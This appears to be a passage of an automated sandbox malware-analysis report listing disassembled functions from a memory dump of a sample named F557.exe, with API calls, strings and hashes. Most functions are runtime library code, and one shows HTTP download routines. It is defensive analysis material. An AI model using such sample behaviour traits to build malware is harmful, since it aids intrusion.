Instruction Fuzzy Hash: BF21A135600606AFCF14EFA8C896EBD7BA5FF48300F504469E906AB692DF71AD01CB51

Uniqueness

Uniqueness Score: -1.00%

Function 005A29AC Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005A2974: _free.LIBCMT ref: 005A2999

_free.LIBCMT ref: 005A29FA

Part of subcall function 0059E175: HeapFree.KERNEL32(00000000,00000000,?,005A299E,?,00000000,?,?,?,005A29C5,?,00000007,?,?,005A2DC7,?), ref: 0059E18B
Part of subcall function 0059E175: GetLastError.KERNEL32(?,?,005A299E,?,00000000,?,?,?,005A29C5,?,00000007,?,?,005A2DC7,?,?), ref: 0059E19D

_free.LIBCMT ref: 005A2A05
_free.LIBCMT ref: 005A2A10
_free.LIBCMT ref: 005A2A64
_free.LIBCMT ref: 005A2A6F
_free.LIBCMT ref: 005A2A7A
_free.LIBCMT ref: 005A2A85

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d2c581018c698599584711ab45f24c1078ff6b42d56dc436d3d44221cec0f7ca
Instruction ID: 8f1fb3c14afbef7ced481ee6cf188a24ef735932d7f83404faaf253f80e5bf4d
Opcode Fuzzy Hash: d2c581018c698599584711ab45f24c1078ff6b42d56dc436d3d44221cec0f7ca
Instruction Fuzzy Hash: 37112C71540B09BADA21FBB4CC0FFDB7FAC7F82B00F440915B6A966053DB75A544D690

Uniqueness

Uniqueness Score: -1.00%

Function 00599FDF Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,00599FD2,?,?,00599F9A,?,?,?), ref: 00599FF4
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0059A007
FreeLibrary.KERNEL32(00000000,?,?,00599FD2,?,?,00599F9A,?,?,?), ref: 0059A02A

Strings

3W, xrefs: 0059A018
CorExitProcess, xrefs: 00599FFF
mscoree.dll, xrefs: 00599FED

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: 3W$CorExitProcess$mscoree.dll
API String ID: 4061214504-4172349272
Opcode ID: f28a53374b6bdeb9fc3ffddfa078300bf673317307fd03c0d32324a152473438
Instruction ID: 5c57a54df8d169611119e2155ff476d75c768bb473eddbad7469f247c6b60741
Opcode Fuzzy Hash: f28a53374b6bdeb9fc3ffddfa078300bf673317307fd03c0d32324a152473438
Instruction Fuzzy Hash: 51F08231501218FBCF219B90DD0EBEE7FA8EB10755F100150F801A1260CB74AE48EB95

Uniqueness

Uniqueness Score: -1.00%

Function 0057AA60 Relevance: 9.3, APIs: 6, Instructions: 336COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 0057AB31
std::_Rethrow_future_exception.LIBCPMT ref: 0057AB82
std::_Rethrow_future_exception.LIBCPMT ref: 0057AB92
__Mtx_unlock.LIBCPMT ref: 0057AC35
__Mtx_unlock.LIBCPMT ref: 0057AD3B
__Mtx_unlock.LIBCPMT ref: 0057AD76

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_
String ID:
API String ID: 1997747980-0
Opcode ID: 4747aa09a2ec12bc319d87549f00f2b879a7bf59dd97f1bc5233d21d20c5ca9e
Instruction ID: dc0e060c7e04df6de302e0d227e6b2fc588773f19f68db435569ec643be9bf03
Opcode Fuzzy Hash: 4747aa09a2ec12bc319d87549f00f2b879a7bf59dd97f1bc5233d21d20c5ca9e
Instruction Fuzzy Hash: 5EC1F2719007099FDB25DF64E949BAFBFF8BF81300F00856DE81A97681E770A908DB52

Uniqueness

Uniqueness Score: -1.00%

Function 005A3590 Relevance: 9.3, APIs: 6, Instructions: 318fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,00568000,00000000), ref: 005A35D8
__fassign.LIBCMT ref: 005A37B7
__fassign.LIBCMT ref: 005A37D4
WriteFile.KERNEL32(?,00568000,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 005A381C
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 005A385C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 005A3908

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: 72e736264311b31c5e049c3bce4355fd4317e81ba766b75fcda9cab8f438007b
Instruction ID: 73c27b2e31038b2ae2abfa528173d312ce3f78504a7e43dce644caf965719db9
Opcode Fuzzy Hash: 72e736264311b31c5e049c3bce4355fd4317e81ba766b75fcda9cab8f438007b
Instruction Fuzzy Hash: 18D1AD75D012599FCF15CFA8C8849EDBFB5FF49308F280169E855BB242E630AE46CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0056BFA8 Relevance: 9.2, APIs: 6, Instructions: 226networkfileCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(005BCEE4,00000000,00000000,00000000,00000000), ref: 0056C04C
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 0056C070
HttpOpenRequestA.WININET(?,00000000), ref: 0056C0BA
HttpSendRequestA.WININET(?,00000000), ref: 0056C17A
InternetReadFile.WININET(?,?,000003FF,?), ref: 0056C22C
InternetReadFile.WININET(?,00000000,000003FF,?), ref: 0056C2E0
InternetCloseHandle.WININET(?), ref: 0056C307
InternetCloseHandle.WININET(?), ref: 0056C30F
InternetCloseHandle.WININET(?), ref: 0056C317

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$FileHttpOpenReadRequest$ConnectSend
String ID:
API String ID: 1354133546-0
Opcode ID: ef3a959278cb06ad2da79f9c9544b38da6677c9374977e0c59c3f903083d3bfd
Instruction ID: 27482d55bea5b8c249a323b8c27d472e0d97e5a4395af0b6dd8d9779e47f13c4
Opcode Fuzzy Hash: ef3a959278cb06ad2da79f9c9544b38da6677c9374977e0c59c3f903083d3bfd
Instruction Fuzzy Hash: CF8191B19001189BDB24DF18CC88BADBFB9FF41345F4041A8F549A3292DB719AC4CF95

Uniqueness

Uniqueness Score: -1.00%

Function 005828CF Relevance: 9.1, APIs: 6, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 0058292C
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 00582938
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 00582951
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0058297F
Concurrency::Context::Block.LIBCONCRT ref: 005829A1

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID:
API String ID: 1182035702-0
Opcode ID: 411e84c16953aa31a2f57d9cd127c38491e29289cb341b3bfd0e654a4afb6450
Instruction ID: 7c670aea9865bd33606c596eb87439bcb65f52757fdb06d09948d5f71a268d32
Opcode Fuzzy Hash: 411e84c16953aa31a2f57d9cd127c38491e29289cb341b3bfd0e654a4afb6450
Instruction Fuzzy Hash: D521447090030A8EDF25FFA4C8457EEBFF4BF15310F200969E861B6190EB715A84CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0058DA97 Relevance: 9.1, APIs: 6, Instructions: 73threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 0058DADA

Part of subcall function 0058EFD1: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 0058F020

GetCurrentThread.KERNEL32 ref: 0058DAE4
Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 0058DAF0

Part of subcall function 00583DF8: Concurrency::details::platform::__GetThreadGroupAffinity.LIBCONCRT ref: 00583E0A

Part of subcall function 00584284: Concurrency::details::platform::__SetThreadGroupAffinity.LIBCONCRT ref: 0058428B

Concurrency::details::SchedulerProxy::IncrementCoreSubscription.LIBCONCRT ref: 0058DB33

Part of subcall function 0058EF83: SetEvent.KERNEL32(?,?,0058DB38,0058E8CC,00000000,?,00000000,0058E8CC,00000004,0058EF78,?,00000000,?,?,00000000), ref: 0058EFC7

Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 0058DB3C

Part of subcall function 0058E5B2: List.LIBCONCRT ref: 0058E5E8

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 0058DB4C

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$AffinityThread$Concurrency::details::platform::__CoreCurrentExecutionGroupHardwareIncrement$Affinity::BorrowedCountEventFixedListResourceResource::StateSubscriptionToggle
String ID:
API String ID: 318399070-0
Opcode ID: 69bb245b26360927a1c532ef57dd07e800d8c2f810b1ffee645c4681c4f67dc5
Instruction ID: c10223a2d1c0fa9d3f132fcbfd1862cda1ff4456bda4aa2286ead9234623f89c
Opcode Fuzzy Hash: 69bb245b26360927a1c532ef57dd07e800d8c2f810b1ffee645c4681c4f67dc5
Instruction Fuzzy Hash: 3921BD31500A12AFCB24EF65C9918BAFBF9FF98300701491DE803A7691DB74F904CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 005989A7 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0059899E,00597560,0057EFC5,E5E97FEB,?,00000000,005AF238,000000FF,?,005624EA,?,?), ref: 005989B5
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 005989C3
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 005989DC
SetLastError.KERNEL32(00000000,?,0059899E,00597560,0057EFC5,E5E97FEB,?,00000000,005AF238,000000FF,?,005624EA,?,?), ref: 00598A2E

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: eb558414bfa6d1382f86899db2ee668d5a26a9941f2f15dc1514b0f607a06366
Instruction ID: e22b0f4d6c2c9f1e335b4013f8c3d04e8975d08d35b3a82ceea075ba32cd8d5d
Opcode Fuzzy Hash: eb558414bfa6d1382f86899db2ee668d5a26a9941f2f15dc1514b0f607a06366
Instruction Fuzzy Hash: 2201D4332186165EAE7426787C8ED7A2F5AFB62774320032EF125640E2EF125C4565C0

Uniqueness

Uniqueness Score: -1.00%

Function 0058368B Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLogicalProcessorInformation.KERNEL32(00000000,?,00000000,?,0000FFFF,00000000,?,00000000,?,?,00000000,?,?), ref: 00583699
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,?,00000000,?,?), ref: 0058369F
GetLogicalProcessorInformation.KERNEL32(00000000,?,?,0000FFFF,00000000,?,00000000,?,?,00000000,?,?), ref: 005836CC
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,?,00000000,?,?), ref: 005836D6
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,?,00000000,?,?), ref: 005836E8
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 005836FE

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: ErrorLast$InformationLogicalProcessor$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID:
API String ID: 2808382621-0
Opcode ID: c7ea80a732533cc82bcc921314877e4dddbba9587f2359faf4e4534308ea144e
Instruction ID: 9ebc558671b95f42763f2cb8b4189a08494b368d752bef3e1a728813d585c420
Opcode Fuzzy Hash: c7ea80a732533cc82bcc921314877e4dddbba9587f2359faf4e4534308ea144e
Instruction Fuzzy Hash: 5E0188356041557BCB10B7AADC4EEBF3F6CFBA0B51B604915F905F1151EB20EA099B50

Uniqueness

Uniqueness Score: -1.00%

Function 00598ABE Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00598B85
___AdjustPointer.LIBCMT ref: 00598BA8
___AdjustPointer.LIBCMT ref: 00598C44

Strings

3W, xrefs: 00598B1D

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID: 3W
API String ID: 1740715915-3302607274
Opcode ID: f378de9af4f883b9e2ba9a6bc43d95d2c548c4b47692f806029893d06cd466b0
Instruction ID: f4f8881b9edf05648c4cecc4b146907dffa5af8fe6e6dd726eaeae125d655125
Opcode Fuzzy Hash: f378de9af4f883b9e2ba9a6bc43d95d2c548c4b47692f806029893d06cd466b0
Instruction Fuzzy Hash: 295103B2605606AFDF289F10D845B7A7FA6FF56310F18452EEC0597291EB31EC81DB90

Uniqueness

Uniqueness Score: -1.00%

Function 0058676C Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 0058677F

Strings

3W, xrefs: 005867E2

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID: 3W
API String ID: 3433162309-3302607274
Opcode ID: 7f3364ba09fda5283ca2091e881876421f240eecb522bcf98072d2c9fe6d8ee2
Instruction ID: 76f21b62cf44bee3c3e82de6564d1e7b93cf7d3e4fed1bb230136d95f4cf00a0
Opcode Fuzzy Hash: 7f3364ba09fda5283ca2091e881876421f240eecb522bcf98072d2c9fe6d8ee2
Instruction Fuzzy Hash: 3E312475A00309DFCF10EF94C984AAE7FB9BB84350F1404AADD49AB246E730A944DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 005A18B4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\F557.exe, xrefs: 005A18B9

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\F557.exe
API String ID: 0-1681956840
Opcode ID: 88ca55040aaa7f39da72a7d32ad877e378947f846598bb93097a52e9df7383bd
Instruction ID: 88f0b1abdb297700231e85877e5c6ad43c9209b4443e0b45dffb8315c14a04fe
Opcode Fuzzy Hash: 88ca55040aaa7f39da72a7d32ad877e378947f846598bb93097a52e9df7383bd
Instruction Fuzzy Hash: B521AC7160460AAFDF20AB658C9596F7BACBF423A4B104624F968D7151E721EC00DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00594509 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80threadCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,00000000,?), ref: 0059455A
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00594542

Part of subcall function 0058C9A0: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 0058C9C1

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 005945BD
SwitchToThread.KERNEL32(00000005,00000004,00000000,?,?,?,?,?,?,?,005C3FD0), ref: 005945C2

Strings

3W, xrefs: 0059452D, 005945AA

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Context$Event$Base::Concurrency::details::$Trace$SwitchThreadThrow
String ID: 3W
API String ID: 2734100425-3302607274
Opcode ID: 72365455098c60b2c730f34ab8083e3d017fd6b8292f0c24094d2e8f406b0486
Instruction ID: 8f000ad5530eb218516b8131bdc9b388427d3494802fd34642f23225610d6276
Opcode Fuzzy Hash: 72365455098c60b2c730f34ab8083e3d017fd6b8292f0c24094d2e8f406b0486
Instruction Fuzzy Hash: 0621C871700215AFDB10FB54DC49D6DBBACFB84720B150559F915A3291DB70AD018FA5

Uniqueness

Uniqueness Score: -1.00%

Function 0059ABD8 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 0059AC1A

Strings

.cmd, xrefs: 0059AC38
.com, xrefs: 0059AC5A
.bat, xrefs: 0059AC49
.exe, xrefs: 0059AC27

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: c20bbf9787df7950551ba940eac7ee2f87cc5cbad8f46c2f14446f02768d690a
Instruction ID: 1f1f8ccd612703d82fc7a55b951126f688552b0d54620386cafb7aefe6e5ded4
Opcode Fuzzy Hash: c20bbf9787df7950551ba940eac7ee2f87cc5cbad8f46c2f14446f02768d690a
Instruction Fuzzy Hash: FA01FE37644A17336E14501D6D4267A1F99FBD1BB4735002AF844FF5C1DE49DC4241F5

Uniqueness

Uniqueness Score: -1.00%

Function 0059E7D3 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,0059A389,?,?,?,?,0059AFBD,?), ref: 0059E7D8
_free.LIBCMT ref: 0059E835
_free.LIBCMT ref: 0059E86B
SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,0059A389,?,?,?,?,0059AFBD,?), ref: 0059E876

Strings

xa\, xrefs: 0059E85E

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

